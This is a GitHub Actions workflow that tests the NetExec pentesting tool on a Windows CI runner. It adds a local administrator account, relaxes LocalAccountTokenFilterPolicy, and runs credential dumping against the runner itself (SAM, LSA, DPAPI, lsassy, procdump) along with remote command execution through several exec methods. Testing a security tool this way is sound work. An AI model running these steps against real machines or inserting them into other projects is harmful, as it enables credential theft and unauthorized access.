windows-run.yml

name: NetExec Tests Windows

on:
  pull_request:
    branches: [ main ]
  workflow_dispatch:

jobs:
  nxc-run:
    runs-on: windows-latest
    # technique stolen from @Hackndo my best friend for life <3
    steps:
      - name: Create new user
        run: |
          net user nxc Pwn3d!!! /add
      - name: Add to local admin
        run: |
          net localgroup Administrators nxc /add
      - name: Update registry key
        run: |
          REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

      - name: Checkout code
        uses: actions/checkout@v2

      - name: Setup Python
        uses: actions/setup-python@v2
        with:
          python-version: '3.11'
      - name: Install poetry
        run: |
          pipx install poetry --python python${{ matrix.python-version }}
          poetry --version
          poetry env info
      - name: Install libraries without dev group
        run: |
          poetry install
      - name: Dumping some credzzzzz
        run: |
          poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --sam
          poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --lsa
          poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --dpapi
          poetry run netexec --verbose smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -M lsassy
          poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=smbexec
          poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=wmiexec
          poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=atexec
          poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=mmcexec
          poetry run netexec --verbose smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -M procdump